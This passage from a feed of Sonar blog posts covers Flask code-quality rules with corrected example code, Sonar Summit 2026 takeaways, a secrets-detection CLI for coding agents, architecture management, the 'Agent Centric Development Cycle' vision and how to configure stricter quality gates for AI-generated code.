Unsafe Headers (S8371): request.headers['Key'] behaves like a Python dictionary. If the header is missing, it raises a KeyError and crashes the request (500 Error). Clients do not always send the headers you expect.
Ignoring Preprocess (S8375): preprocess_request() is where middleware (like authentication or rate limiting) runs before the view. These hooks often return a Response. If you call this manually and ignore the return value, you might bypass security checks.
Network Binding (S8392): Binding to 0.0.0.0 exposes your application to every network interface on the machine. In a coffee shop or a corporate LAN, this means anyone on the Wi-Fi can hit your development endpoints.

Here is how to stabilize the internal mechanics of the application.

from flask.views import MethodView

class DocumentStats(MethodView):

    # Corrects S8374: Decorators must be applied via the specific decorators list attribute.

    decorators = [login_required]

    def get(self):

        # Corrects S8371: Use .get() to avoid KeyError crashes on missing headers.

        user_agent = request.headers.get('User-Agent', 'Unknown')

        return render_template('stats.html', ua=user_agent)

# Manual Request Processing (e.g., in a custom runner or test)

def manual_trigger():

    with app.test_request_context('/stats'):

        # Corrects S8375: Capture and respect the return value of preprocess_request.

        response = app.preprocess_request()

        if response is not None:

            return response # Short-circuit if middleware blocked the request

        # Proceed to actual view dispatch...

if __name__ == '__main__':

    # Corrects S8392: Bind only to localhost for development security.

    app.run(host='127.0.0.1', port=5000, debug=True)

Tip: Regarding S8392 (Binding 0.0.0.0), there is a nuance. If you are running Flask inside a Docker container, you must bind to 0.0.0.0 for the host machine to reach the container. However, in that scenario, the Docker network acts as the firewall. The rule specifically warns against doing this on a host-level execution (like your laptop) where no such isolation exists.

By adopting the SonarQube rules, you reduce the reliance on "implied knowledge" for code maintenance. Explicitly defining HTTP verbs, ensuring safe dictionary access, and respecting development framework lifecycle hooks are key practices that transform your Flask application into a more robust system.

Before writing @app.route, consider this: are you relying on a framework default, or are you explicitly defining a contractual agreement for this route? Building resiliently means always choosing to define the contract.

Check out the details of all 8 new rules for Flask in our community post.

Top 6 takeaways on the future of coding from Sonar Summit 2026

Amy Hays — Wed, 11 Mar 2026 15:00:00 GMT

The era of "coding as we know it" has reached a sharp inflection point. As the dust settles from Sonar Summit 2026, the central takeaway is clear: we have moved beyond simple AI assistance and entered a world of fully autonomous agents and high-velocity engineering.

Sonar Summit brought together industry leaders—including Gergely Orosz (The Pragmatic Engineer), Laura Tacho (executive advisor), Sonar CEO Tariq Shaukat, as well as leaders from OpenAI, Google, and Wiz—to define a new blueprint for engineering organizations.

If you missed the live sessions, you can catch the full experience here: Watch the Sonar Summit 2026 on-demand playlist.

To understand what Sonar Summit speakers taught attendees about the future of code, let’s dig into some of the highlights from the event.

#1: The shift: Moving to an Agent Centric Development Cycle

The summit opened with a fundamental re-evaluation of the Software Development Life Cycle. Sonar CEO Tariq Shaukat introduced the Agent Centric Development Cycle (AC/DC), a framework necessitated by the fact that the traditional "developer-centric" model is breaking under the sheer volume of AI-generated content.

In this new reality, AI agents are no longer just tools; they are active participants in the SDLC, capable of independently generating, refactoring, and even deploying code. This shifts the developer’s primary responsibility from creator to governor. Tariq emphasized that in an agent-centric world, code integrity is the essential language that allows humans and agents to collaborate. Even as agents handle the heavy lifting, developers remain accountable for the output, requiring a verification process that can scale at the speed of AI.

The shift: Moving to an Agent Centric Development Cycle

#2: The human impact: Practical impacts on software engineering

Building on this shift, Gergely Orosz of The Pragmatic Engineer delivered a keynote on the practical impact AI is having on the craft of software engineering. Drawing from his insights across AI labs, big tech, and startups, Gergely highlighted how engineering practices are changing faster than ever before.

With fewer engineers writing code by hand and the rise of parallel agents, traditional workflows like the standard "pull request" are starting to feel unfit for the new pace of development. Gergely shared insider stories of why even the most experienced professionals are shifting their stance—moving toward letting agents write more of their code while doubling down on the engineering basics that actually matter in this new world. The future of code, according to Gergely, is one where the ability to orchestrate and audit AI output becomes the hallmark of a great engineer.

The human impact: Practical impacts on software engineering

#3: The role of the engineer: Putting guardrails on autonomy

While Gergely focused on the shifting role of the engineer, Cole Medin (Founder of Dynamous AI) and Sonar’s John Clifton dove into the mechanics of oversight. They discussed the “AI Validation Pyramid,” a framework designed to solve the growing review bottleneck.

In this model, humans remain at the boundaries—dictating the structured plan upfront and performing final verification at the end. Meanwhile, the AI handles the heavy lifting of the foundation: type checking, linting, and unit testing. This ensures that "human-in-the-loop" doesn't mean "human at every step," allowing teams to maintain high-velocity engineering without sacrificing code integrity.

The role of the engineer: Putting guardrails on autonomy

#4: The challenge: Navigating the “soup phase”

As organizations navigate this transition, many have found themselves in what Laura Tacho describes as the "soup phase"—a period of intense organizational transformation and uncertainty. In her fireside chat, Laura explained that successful AI adoption is essentially developer experience (DevEx) rebranded.

The future of development is shifting from code creation to one of trust, verification, and operation. Laura warned against the trap of "step-skipping" during this accelerated period and argued that leaders must build a robust "organizational immune system" to handle the risks of AI-generated code. By 2027, the focus must move away from code volume—which is increasingly seen as a liability—and toward high-signal business impact, solving the review bottleneck by integrating deterministic, automated verification into the agentic development lifecycle.

The challenge: Navigating the “soup phase”

#5: The solution: Connecting agents with OpenAI and the SonarQube MCP Server

The summit moved into technical reality with a fireside chat with Vaibhav Srivastav, Developer Experience and Community at OpenAI, exploring the synergy between GPT-5.3-Codex and the SonarQube MCP (Model Context Protocol) Server.

The takeaway was clear: for the enterprise, autonomy without a safety harness is a liability. By wrapping probabilistic AI in a verifiable governance layer, teams can harness the speed of agents while using Sonar as a deterministic quality gate. This creates a self-remediation loop where AI-generated code is automatically checked, refined, and cleaned before it ever touches production.

The solution: Connecting agents with OpenAI and the SonarQube MCP Server

#6: A case study: Scaling through the cloud: The Xero journey

Sarah Burgess, Lead Product Manager at Xero, grounded the high-velocity workflows we’re moving into with a real-world case study. She detailed Xero's journey to a cloud-hosted environment with Sonar, explaining how the move was essential to gaining the agility required for the next generation of development.

Sarah’s session highlighted that infrastructure is a prerequisite for the AI era. Cloud environments provide the elastic scale necessary to support a high-velocity landscape where agents generate more code than manual processes ever could. By moving to the SonarQube Cloud, Xero has been able to maintain rigorous standards while scaling their verification processes to match their increased delivery speed.

A case study: Scaling through the cloud: The Xero journey

Quality is the fuel for velocity

The message from Sonar Summit 2026 is clear: speed without quality is just a faster way to fail. In the Agent Centric Development Cycle, the organizations that thrive will be those that treat code integrity as a core strategic priority.

The future of code is automated, agentic, and fast—but only if it is built on a foundation of verifiable, trustworthy engineering.

Ready to dive deeper? We’ve made the entire summit available on-demand. Explore the tracks that matter most to you: Watch all Sonar Summit 2026 sessions here.

Secure agents from leaking secrets with the new SonarQube CLI

Satinder Khasriya — Mon, 09 Mar 2026 15:00:00 GMT

TL;DR overview

Sonar's secrets detection CLI beta brings hardcoded credential scanning directly to the developer's local environment, enabling detection of exposed API keys, tokens, and passwords before code is committed to any repository.
The CLI tool integrates with existing developer workflows via pre-commit hooks or manual invocation, providing a shift-left layer that catches secrets even earlier than IDE plugins—at the file system level before staging.
Supporting over 400 secret patterns across 248 cloud services, the CLI covers a broad range of credentials including AWS keys, GitHub tokens, database passwords, and custom organization-defined patterns.
Teams not yet using SonarQube Server or SonarQube Cloud can use the CLI as a standalone entry point for secrets detection, with a straightforward upgrade path to full SonarQube analysis as their needs grow.

In the modern development landscape, a single leaked credential can dismantle years of built trust. According to the Verizon Data Breach Investigations Report, it takes a median of 94 days for organizations to remediate leaked secrets. In an era where a breach can happen in milliseconds, nearly three months of exposure is an unacceptable systemic risk. Catching secrets at the source—before they ever reach your version control system—is the only way to prevent a localized mistake from becoming a persistent security liability. Once a secret is committed to a repository, it is functionally compromised. Even if you delete the file or overwrite the line, the secret remains in the Git history, accessible to anyone with repository access.

For enterprises, the "cost of a leak" scales exponentially the longer it remains undetected. It isn't just about the immediate risk of unauthorized access; it's about the massive operational toil required to rotate keys, invalidate tokens, audit logs for misuse, and potentially notify regulatory bodies.

That is why we are excited to announce the open beta of SonarQube CLI. It transforms this workflow by moving security from the end of the pipeline directly into the developer's agentic workflow. The headline feature of this release is Sonar’s AI-native secrets protection—the ultra-fast, high-precision secrets detection hook as part of the SonarQube CLI.

The rise of the "automated leak"

In a traditional workflow, a secret leak usually resulted from a human error, such as a developer accidentally committing a .env file to GitHub. However, in the world of the agentic-centric development cycle coding tools such as Claude Code and Cursor can introduce a dangerous new backdoor for sensitive data. Because these agents function by scanning your local environment to build context, they can inadvertently ingest active session tokens, API keys, or database credentials and send them directly to an LLM provider’s servers as part of the prompt history.

This creates a "silent leak" scenario. You might copy-paste a block of code into a prompt to debug it, forgetting that a hardcoded token is buried in the logic. This creates a challenge where the speed of generation can outpace the security of the workflow.

LLM gateways and persistent risk

This risk is further compounded by the rapid adoption of LLM gateways (such as Portkey, Helicone, or LiteLLM). Enterprises use these platforms to manage costs and provide a unified API layer. However, if an agent sends an unscrubbed secret in a prompt, that secret is now persisted in the gateway’s request logs—often in plain text. Once a token hits these logs, it is no longer just a local mistake; it is an enterprise liability. To build software you can trust, organizations must implement independent, automated verification that catches these secrets before they escape the local environment.

SonarQube CLI: Built for the agent-centric development

Today, the workflow is often fragmented and reactive. To secure code, developers typically rely on CI/CD pipelines to catch issues. However, by the time the code reaches the pipeline, the silent leak to an LLM provider has already happened. The shift toward the agent-centric development cycle only amplifies these challenges. When agents are autonomously writing or refactoring code at scale, the volume of "silent leaks" grows exponentially. Agents don't just write code; they ingest environment context, read log files, and transmit data to external LLMs at a pace no human can manually audit. Standard tools often fail in an agentic environment because they are too slow or too noisy; if a scanner takes five seconds to analyze a file, it breaks the "flow" of the agent. Without an ultra-fast verification layer, organizations face an accountability crisis: the speed of agentic innovation begins to outpace the ability to verify its safety.

With Sonar’s AI-native secrets protection we have optimized our engine for agentic workflows rather than just rigid compliance checks. To integrate this directly into your agentic workflow and stop "automated leaks" at the source, you can configure coding agents, such as Claude Code, to use SonarQube as a mandatory verification step. By adding a pre-capture hook, SonarQube CLI scans every code snippet the agent produces in real time—achieving sub-100ms latency—to ensure that no session tokens or API keys are ever sent to the LLM provider. Key benefits for this approach:

High precision: Our secret detection features a false positive rate of less than 5%, ensuring work is only interrupted when there is a genuine risk.
Extreme speed: Based on our internal testing, we observed an average processing speed of 100ms per file in environments like Claude Code. This ensures your agent remains unhindered while your secrets stay local.

The launch of the SonarQube CLI creates a versatile, extensible foundation for the future of the Sonar ecosystem. By establishing a presence directly in the automation layer, we have opened a pipeline to deliver high-frequency, specialized "hooks" that address the evolving needs of the AI-native SDLC. Beyond secrets detection, this architecture allows us to release future capabilities as portable, ultra-fast modules. This evolution ensures that as your development workflows become more complex and agent-driven, Sonar is the high-precision verification layer that moves at the speed of your innovation.

You can secure your coding agents, such as Claude Code, workflow today by installing Sonar’s AI-native secrets detection CLI and integrating it directly with your environment. Start using the SonarQube CLI to make verification the default—whether code is written by developers, copilots, or agents.

Code you can trust in the era of agents

The SonarQube CLI’s "analyze secrets” capability provides an ultra-fast verification layer that moves at the speed of AI-driven development. By launching high-precision hooks for the SonarQube CLI, we are delivering the initial installment of a roadmap built to hardcode integrity into every stage of your innovation

Secure your workflow today

Don't let your secrets become enterprise liabilities. Stop automated leaks and start verifying your AI-generated code with the SonarQube CLI.

Get started with SonarQube CLI

Code architecture management general availability in SonarQube

Robert Curlee — Mon, 02 Mar 2026 16:00:00 GMT

TL;DR overview

Architecture management is now generally available in SonarQube Cloud—automatically reverse-engineering the current codebase structure into a navigable, always-current visual map with no setup required.
Teams can formalize an intended architecture via a graphical interface, then enforce it through quality gates that flag violations when AI-generated or human-written code diverges from the defined structure.
With generative AI accelerating code production, architectural drift is a growing risk: AI tools generate locally correct code without awareness of global structural constraints, making automated architecture governance essential.
Available for Java, JavaScript, TypeScript, Python, and C#, the feature gives developers, AI agents, and architecture leads a shared, real-time view of the codebase to enable faster, more confident changes.

In a world that operates on software, your code is your single most valuable asset. Software architecture is essential in defining how your software should function and evolve. Yet, despite being the cornerstone of a healthy application, maintaining software architecture is frequently overlooked.

As developers, we know that neglecting software architecture leads directly to stale architectural documentation and structural technical debt. Over time, this debt manifests as accumulated complexity from misplaced logic, duplicated code, and misaligned dependencies. As architectural debt accumulates, making code changes becomes a risky, slow process. If left unchecked, this structural erosion eventually stalls innovation and forces costly application rewrites.

Great architecture is the secret to developer productivity. Well-designed, modular software ensures that developers can make effective code changes without worrying about unpredictable ripple effects.

Today, we are thrilled to announce the general availability of architecture management in SonarQube Cloud, designed to bring software architecture back under your control to promote a healthy codebase and enable highly performant teams.

The AI multiplier: Why code architecture matters now more than ever

The rapid adoption of generative AI coding assistants has fundamentally changed how we write code. Software developers are now leveraging AI-native IDEs and agents to generate code at unprecedented speeds that often bypasses traditional architectural planning. Furthermore, AI coding tools don’t have the context needed to provide effective coded solutions leading to “slop.”

While the new AI-native SDLC accelerates output, it also acts as a multiplier for architectural drift. AI-generated code can easily become a structural black box, making complex systems rapidly diverge from their intended design. To maintain the speed of modern development, you need an automatic, dependable way to ensure architectural integrity.

How code architecture in SonarQube works

SonarQube helps you manage your software architecture through four essential stages: discover, formalize, prioritize, and fix.

Discover: As part of the normal scan, SonarQube automatically reverse-engineers your codebase to create an always-current, living visual representation of its actual current architecture, no additional setup is needed. It provides a real-time, navigable view of component relationships that is instantly available to all development stakeholders, including AI agents.
Formalize: Building your intended architecture is a snap. Using a graphical interface, you can start light and evolve it over time to suit your needs.
Prioritize: You maintain control by deciding when and how to enforce architecture violations in the code.
Fix: Developers gain a clear understanding of expectations for writing code that aligns with the intended architecture. This enables them to resolve architectural issues immediately to pass the quality gate. Teams also get instant notifications when AI generated code violates the architecture, allowing for timely, in-workflow fixes.

Value across your engineering teams

Bringing architecture into your continuous codebase inspection delivers immediate benefits across your organization:

For developers:

Improved productivity: Gain a clear picture of interdependencies through live documentation of the current architecture, eliminating guesswork and providing full context awareness.
In-workflow resolution: Build a clear understanding of expectations and resolve architectural issues within your standard developer workflow as you are developing. Other tools treat architectural integrity as a separate event, taking you out of band from your daily routine.

For architects and project owners:

Architectural integrity: Maintain complete control by deciding when and how to enforce architecture violations. You can start light and evolve your intended architecture over time to suit your project's needs.
AI Governance: Instantly detect when AI-generated code violates your architecture, allowing for timely fixes. Plus, you can enable LLMs to leverage your intended and current architectures as context to generate better, more structurally sound results.

Get started today

To use these new architecture capabilities in SonarQube Cloud, you'll find a new “Architecture” tab under every project. If you don't see the visual structure map of your current architecture, it will appear after your next scan. You'll need administration privilege in your organization to create the intended architecture and prioritize disallowed relationships such as tangles.

Here are some great resources for further details:

Visit our Community post that has several demo videos
Explore your current architecture including advanced features
Dig into architecture details in SonarQube Cloud docs

It is time to align the speed of AI development with the dependability of strong architectural governance. Stop reacting to structural debt, and start architecting for the future.

Don’t have SonarQube Cloud? Get started now.

The future is AC/DC: the Agent Centric Development Cycle

Tariq Shaukat — Mon, 02 Mar 2026 16:00:00 GMT

TL;DR overview

The Agent Centric Development Cycle (AC/DC) describes Sonar's vision for the next evolution of the software development lifecycle, where AI agents autonomously write, scan, and fix code within a continuous loop governed by SonarQube verification.
In this model, AI coding agents (such as Claude Code or Cursor) use the SonarQube MCP Server to query quality gate status and issue data, self-correcting their output before a human developer reviews a pull request.
AC/DC reframes the developer's role from primary code author to agent supervisor and quality governor—setting the standards that automated agents must meet rather than writing every line of code manually.
Sonar's MCP Server, Agentic Analysis beta, and AI Code Assurance capability provide the tooling infrastructure needed to implement AC/DC workflows at scale within enterprise development environments.

For more on this topic, dive into Tariq’s discussion from Sonar Summit “Building better software: A new blueprint for the agentic SDLC.”

The era of Continuous Integration, with its familiar processes and workflows, is rapidly coming to an end. Traditional CI relies on developers making small, frequent, iterative commits. Today, the “continuous” part is changing. Agents do not work like that. They operate in asynchronous batches, often working for hours before dropping massive, complex payloads of code. We are seeing the emergence of a new paradigm that will fundamentally reshape how we create software: Agent Centric Development.

For good reason, there is a lot of discussion and adoption of code generation tools and agents. They have undeniable strengths that are transforming how developers do their job. There is a growing consensus that developers will be focusing more on design, architecture, and planning, and then on monitoring, verification, and review.

Less discussed are the changes required to ensure that software development agents are operating in a trustworthy, consistent, transparent, and responsible manner. Even in the best hands, AI slop is pervasive. Our research has demonstrated that, left unchecked, coding models generate verbose, complex, buggy, and insecure code.

Agentic development requires a strong, deliberate, and intentional set of practices and a well-constructed set of tools. These provide the guardrails, transparency, assurances, and verification necessary to build world-class software. We call this the Agent Centric Development Cycle (AC/DC).

Yes, it’s electrifying!

This new model operates on a different set of steps than the legacy CI model. Because the continuous human cadence is gone, agents work for a longer period of time before they are ready to commit code. Pull requests are vastly larger and more complex. Small errors the agent makes early in their process compound, making the process inherently unstable.

Everything should start with a thoughtful, detailed, specific plan. What are the specifications? What are the desired outcomes? How do you expect the solution to be used? How scalable does it need to be? Well-crafted plans have always been important in software development, but now, with agents, they are the essential prerequisite that powers the entire cycle.

Building on that plan, we define the Agent Centric Development Cycle as having three pillars that surround AI code generation: Guide → Verify → Solve. At the center is Generate—the AI agent's job. Sonar's role is in Guide, Verify, and Solve. That's intentional: we're the independent, agent-agnostic layer surrounding whatever code generation tools your team chooses.

Guide: Agents need to understand the canvas on which they are being asked to create, so that the output fits with what the developer and organization require.
Verify: The agent has to be specifically and deliberately required to check the code meets the necessary standards, including that it really achieves the desired outcomes and is reliable, maintainable, and secure.
Solve: Any issues that are identified are provided to a code repair agent to fix.

This process then continues again, with the lessons from the Solve and Verify pillars feeding into the Guide so that the next agentic steps learn from the previous loop.

The development canvas is evolving

The AC/DC does not operate in traditional tooling. IDEs are less relevant, and the pull request, as noted earlier, happens much less frequently. At a high level, there are three major environmental changes that become prevalent in the AC/DC model.

First, the AC/DC loop, Guide-Verify-Solve, happens in a sandbox environment. Agentic reasoning loops go on for a while and solve larger problems. They will do this before committing code to your main codebase. In fact, for smaller codebases, you might just make a copy of the codebase and iterate off of that in its entirety. (While complex enterprise microservices and data states make fully isolated sandboxing more difficult, the principle remains: intense validation happens in isolation.) Developers manage and monitor that sandbox. Only when there is a verified, high-quality product does the main codebase become modified.

This is an enormous change with a lot of implications. It is much harder to understand the changes being made to the codebase, presenting long-term risks and challenges. Security issues, for example, could creep in without being noticed when 40,000 lines of code are being written vs. 300. Also, in this model, developers are responsible for shipping something that works, not just code. Activities that used to happen post the Build pillar of CI/CD, such as dynamic testing, will happen in the sandbox and be the developer’s responsibility. This is not the normal “shift left.” It is more akin to being in the Matrix: “there is no right” inside the traditional pipeline. Because the continuous micro-commit is dead, production-grade validation must happen in an agentic sandbox environment, before the massive code payload is submitted.

The second major change is that these steps, Guide-Verify-Solve, happen at two different levels in this process: the inner loop and the outer loop.

The inner loop: Guide-Verify-Solve happens in each agentic reasoning loop, ensuring that the agent stays on track as it methodically works to achieve the plans. These are essentially “micro” adjustments that are continuously made, using guardrails, prompt traces, and rapid verification analyses.
The outer loop: Guide-Verify-Solve happens once the agent has ‘finished’ its work. Here, more comprehensive verification occurs and, often, the agent will have to fix larger-scale issues that are identified.

Lastly, the Agentic Development toolchain will typically include many code generation tools, depending on what the developers believe are the best platforms for their specific use cases: Cursor for some cases, Claude Code for others, Devin, Codex, and GitHub Copilot for others. However, the Guide-Verify-Solve pillars are more effective when there is a standard for each in the company: a consistent approach to verification for all tools, and a common engine for context to Guide all of the generation tools.

Guide-Verify-Solve: the heart of the matter

A lot of people are talking about code generation. Guide-Verify-Solve is equally, if not more, critical to master.

Guide: Guiding is not just about pointing to a codebase; it's about defining the playing field and setting the rules of engagement. Agents need to be told the context and constraints that shape their work. This is critical in both greenfield and brownfield environments. Agents need to know, of course, what the specifications are. But that’s just the start. They need to understand the standards, regulations, guidelines, and guardrails you have established for your codebase, along with the current and desired architecture.
Verify: AI makes mistakes. Lots of them. Unlike developers, they do not make basic mistakes very often. Instead, they make very complex, hard-to-find mistakes. And the models themselves are both unpredictable (due to their probabilistic nature) and very sensitive to changes in their training data and environments. A prompt that worked well yesterday has no guarantee of working today. Given these stark realities, verification must be thorough, transparent, and consistent. As noted above, we have to provide feedback to the agent inside the reasoning processes themselves; and then we need to provide feedback to the developer accountable for the end result.
- In the inner loop, the primary purpose is to allow agents to self-verify, giving it a continuous evaluation of how it is doing and the ability to course correct quickly. Typically these tests will consist of frequent analysis of the generated code, looking for issues; evaluation of the prompt traces to ensure no issues are spotted; and on-the-fly verification of business logic using AI. The goal is to give high-signal, low-noise feedback to the agent so that it can self-correct.
- In the outer loop, once the agent believes it has constructed a good solution, we must then verify that the agent's work achieves the intended functional and non-functional outcomes, which could include internal standards and compliance requirements. This is where processes like code verification and code review come into play, but in an agent-driven world, we believe this will also see the “Right” of the traditional SDLC disappear, and reappear inside the sandbox. The developer is responsible and accountable for shipping Something That Works.
Solve: In both the inner and outer loops, problems are inevitable. The "Solve" phase is the automatic debugging and remediation phase based on verification feedback. Armed with a deep understanding of the application's structure and the results from the verification phase, corrections can be made. And, unlike most traditional processes, failure is not just a bug to be patched; it's a lesson that refines the next iteration, making the entire system more resilient. The issues and their solution feed back into the Guide process for the next round.

Agent Centric Development Cycle (AC/DC): the toolchain

Many of the traditional SDLC solutions will need to evolve, quickly, or be increasingly irrelevant as agents take over the development process. Critical components of the new AC/DC cycle include:

Agentic Development Sandbox: An environment in which the Guide-Verify-Solve loops can work around code generation for all your agents, regardless of what agent and code generation partners you use.
Dynamic Context Engine: There are two critical parts of the Dynamic Context Engine. First, you have to have tools that can provide useful context—for example, a thorough evaluation of your codebase architecture or crisp, transparent, and specific articulation of standards and guardrails. Second, you need to determine which pieces of context should be provided in each circumstance. Too much context, too little context, or incorrect context can all degrade performance instead of enhancing it.
Trust and Verification Platform: Software Development worked because, generally speaking, companies trusted their developers to write good code and to review that code. Verification was important, but many treated it as optional given trust was so high.

Agent-centric development breaks this compact. AI-assisted and agentic workflows create code at such high volume and speed that pull requests are 10x or more larger than in the past. Truly understanding the new code is almost impossible, the models themselves are black boxes, and the output is very sensitive to the input. Verification is mandatory in AC/DC, not optional.
Like context, Verification is an area that can become problematic quickly. Many of the ‘easy’ approaches to verification, such as using LLMs to check their own work, can generate a high level of false positives and are neither explainable nor consistent. While they can be helpful, these inherently imprecise approaches have to be grounded in deterministic, comprehensive, transparent analyses to maximize signal and meet enterprise standards. They have to make it clear to the developer, who is accountable for the work, precisely what was checked, what worked, and what did not.

There are many valuable sources of verification data. Deterministic code analysis covering reliability, maintainability, complexity, and security (such as that provided by SonarQube) is a vital component. LLM-based AI Code Review is another. Inside of the agentic sandbox, the code can be tested and observability traces generated to provide additional information. A comprehensive Verification Platform aggregates and intermediates these signals, and ultimately will pass judgment on the end result.

Beyond this, there are some emerging best practices that demonstrably improve overall agentic performance:

Embedded Context: Models are a reflection of their training data and techniques, and while the foundation model companies are continuously updating their training data, the vast majority of training data is based on open source code. The quality, style, and standards used for these open source datasets are highly varied, and perhaps most importantly, they are different from what you and your company want or have used in the past. Fine-tuning models, where the model provider allows, helps to both improve absolute quality and security, while also having the models better reflect the context embedded in your codebase. As Agent-Centric development progresses, we believe there will be an increasing recognition of the need for these fine-tuned enterprise models. This is complementary to, not competitive with, the more transient, task-specific context from the dynamic context engine.
Special Purpose Agents: Today, the baseline foundation models generate a lot of excitement. However, addressing specific problems in software development likely requires smaller models and agents that are custom-built for purpose. A code repair agent, with custom workflows and understanding of verification context, can better address the Solve part of the AC/DC. Code review agents, trained on pull request information, are likely to provide developers with better information than a generic review agent. This space is emerging, and is worth watching and experimenting with.

How to get started with AC/DC

Most companies cannot move from the current CI process to AC/DC overnight. There are tangible steps they can take, however, to get started.

[Verify] Strengthen your verification practices. Verification in AC/DC is mandatory, not optional, and it is something that requires deliberate design and planning. It starts with defining “what good looks like.” These quality profiles might be different depending on the application. One leading financial institution making the transition to AC/DC has a low/medium/high quality profile definition, and every project is categorized against this. They have mandated that every line of code written by AI agents has to be verified against the quality profile using deterministic code analysis. Similarly, a global telecommunications company tried to use AI coding agents in their traditional CI process, and were forced to stop due to lack of sound governance. Rolling out mandatory deterministic code analysis unlocked this process and enabled them to roll out AI coding tools everywhere.
[Solve] Invest in remediation agents. With your verification in place, you can drive real impact by using remediation agents to work through your existing backlog of issues. In the Agent Centric Development Cycle, technical debt is no longer just a drag on velocity; it’s a hallucination trigger. Complexity kills and errors compound, leading agents down logic rabbit holes. Establishing and maintaining a clean codebase will speed development in an agentic world, and lower token consumption. Faster and cheaper! While the work from the remediation agents needs to be verified as they, too, are not perfect, current capabilities are strong and improving all the time.
[Guide and Verify] Manage your architecture. Most companies have a very poor understanding of the architecture of their codebase. Architectural knowledge is often tribal, sitting in the heads of a few key architects, and maintained by hand. AC/DC requires a deep, structured understanding of the software architecture. Beyond this, it requires that you take active steps to guide the agent to maintain or, better yet, improve the architecture as it works. By treating architecture as active, structured context rather than static documentation, you ensure agents build within your guardrails, not around them.

These three steps will get you started on the path to success regardless of whether you’re using Claude Code, Codex, Github Copilot, Cursor, or any other coding assistant. There are of course more advanced steps you can take, such as establishing your agentic sandboxes, and employing hunting agents to amplify your security research program.

The transition to AC/DC isn't just a shift left—it's a fundamental rebuilding of the factory floor. Old practices will not set you up for success. Embracing AC/DC as your development framework, with Guide-Verify-Solve complementing your coding agent implementation, will help boost productivity while reducing risk and costs.

How to optimize SonarQube for reviewing AI-generated code

Killian Carlsen-Phelan — Sun, 01 Mar 2026 16:00:00 GMT

TL;DR overview

Optimizing SonarQube for AI-generated code review involves activating security-focused rule sets and ensuring quality gates enforce standards that catch common LLM code patterns like exposed secrets and missing validation.
AI-generated code tends to reproduce vulnerabilities from training data—particularly injection flaws, hardcoded credentials, and insecure API usage—making security rule coverage especially important.
Teams can configure SonarQube's quality profile to prioritize security rules relevant to AI code risks and adjust hotspot definitions based on the languages and frameworks used by their AI tools.
Combining SonarQube's automated scanning with pull request decoration creates a review workflow that surfaces AI code quality issues before human reviewers, reducing review time and oversight burden.

Copilot, Claude, Cursor. Your team is shipping code faster than ever. But speed doesn’t equal quality. Without guardrails, AI-generated code introduces technical debt, security vulnerabilities, and reliability issues that are hard to track. The engineering productivity paradox in action: the time you save writing code gets eaten by debugging and remediation downstream.

AI agents don’t get tired. They can generate unit tests instantly. So why hold them to the same standards as human developers? Hold them to higher ones.

Below, you’ll create a hardened, AI-specific quality gate and quality profile in SonarQube Cloud, moving your team from “hope it works” to “vibe, then verify.”

Why AI code may need a different quality gate

AI coding assistants prioritize probability and pattern matching over strict logic. They’re great at scaffolding and boilerplate, but they have distinct failure modes:

Hallucinated dependencies. Importing libraries that don’t exist or pulling in insecure versions.
Complexity creep. Writing convoluted logic where a simple function would do, because the LLM lost the broader architectural context.
Security blind spots. Introducing injection vulnerabilities or weak cryptography because the training data contained insecure examples.

Since generating code (and tests) is cheap for an AI, you can afford to be stricter. Making a human developer hit 90% test coverage slows them down. Making an AI agent do it? That’s just another prompt.

Start from the baseline: Sonar way for AI code

AI Code Assurance in SonarQube Cloud lets you tag projects as containing AI code and run them through a stricter validation process.

Out of the box, Sonar provides the Sonar way for AI Code Quality Gate. It enforces:

New code: No new issues, all new security hotspots reviewed, 80% coverage, and 3% or less duplication.
Overall code: Security rating of A, reliability rating of C or better, all security hotspots reviewed.

That’s a solid starting point. But if you want to tighten the screws on AI-generated code, you can go further.

Step 1: Design a stricter quality gate

Create a custom quality gate that pushes harder on security, reliability, and testability.

The logic is simple: the AI wrote it just now, so fix it now. Demand more proof that the logic holds up, and force modular code instead of copy-pasted blocks.

Opinionated thresholds for a hardened gate: bump Coverage on New Code to 90% (up from 80%), drop Duplicated Lines on New Code to 1.0% or less (down from 3%), and tighten Reliability Rating on New and Overall Code to A.

How to set it up

Go to your Organization page in SonarQube Cloud.
Click Quality Gates and select Create.
Name it something descriptive, like AI Hardened Gate.
Modify the conditions:

Set “Coverage on New Code” to 90.0%.
Set “Duplicated Lines (%) on New Code” to 1.0%.
Set “Reliability Rating” to A.

Open the action menu and select “Qualify for AI Code Assurance.” Without this, SonarQube won’t recognize your gate for the AI Code Assurance badge.

Step 2: Harden rules with a custom quality profile

A quality gate sets the thresholds (e.g., “pass if you have 0 bugs”), but the quality profile decides what counts as a bug.

AI models write code that’s technically correct but cognitively dense: nested loops, long methods, complex condition chains. A custom profile forces the AI to keep things simple.

Example: tuning Python for AI

Go to Quality Profiles.
Find the default Sonar way profile for Python (or your target language).
Click the three-dot menu and select Extend.
Name it Python - AI Hardened.
Search for the rule Cognitive Complexity of functions should not be too high (Rule ID: python:S3776). The default threshold is 15. Change it to 8. The AI (or the developer prompting it) will have to break logic into smaller, more readable functions.
Filter rules by “Security” and “Inactive.” Activate rules that are too noisy for legacy code but worth enforcing on AI-generated code: stricter input validation, explicit type checking, and similar.

Step 3: Apply AI Code Assurance

Now that you have your gate and profile, connect them to your projects.

Go to your Project dashboard.
Navigate to Administration > AI Code Assurance.
Toggle the switch: “This project contains AI-generated code.”
SonarQube flags this project for the assurance workflow.

Next, link your hardened configurations:

Go to Project > Quality Gate and select your AI Hardened Gate.
Go to Project > Quality Profile and assign your Python - AI Hardened profile.

Once these are set, your project overview displays the AI Code Assurance status.

Operationalize the gate

Shift left: AI fixing AI

If you’re using an AI assistant that supports the Model Context Protocol (Claude Code, Cursor, etc.), connect the SonarQube MCP Server.

You can ask the agent to “scan this code against my project rules” or “fix this complexity issue.” The agent pulls SonarQube’s findings from your hardened profile and iteratively rewrites the code until it passes.

Learn more: Read the SonarQube MCP Server docs to set up agentic remediation.

Your AI quality gate checklist

Mark relevant repos as “Contains AI code” in Project Settings.
Extend a quality profile (e.g., AI Hardened) and lower complexity thresholds.
Create a custom quality gate with 90% coverage, less than 1% duplication on new code, and any stricter conditions you see fit.
Select “Qualify for AI Code Assurance” in your gate’s action menu.
Link the new gate and profile to your AI-labeled projects.
Confirm your CI pipeline fails when the quality gate fails.

With these guardrails in place, you get the speed of AI without sacrificing the long-term health of your software. You’re not policing the AI. You’re teaching it to be a better developer.

The architecture gap: Why your code becomes hard to change

Robert Curlee — Thu, 26 Feb 2026 16:00:00 GMT

TL;DR overview

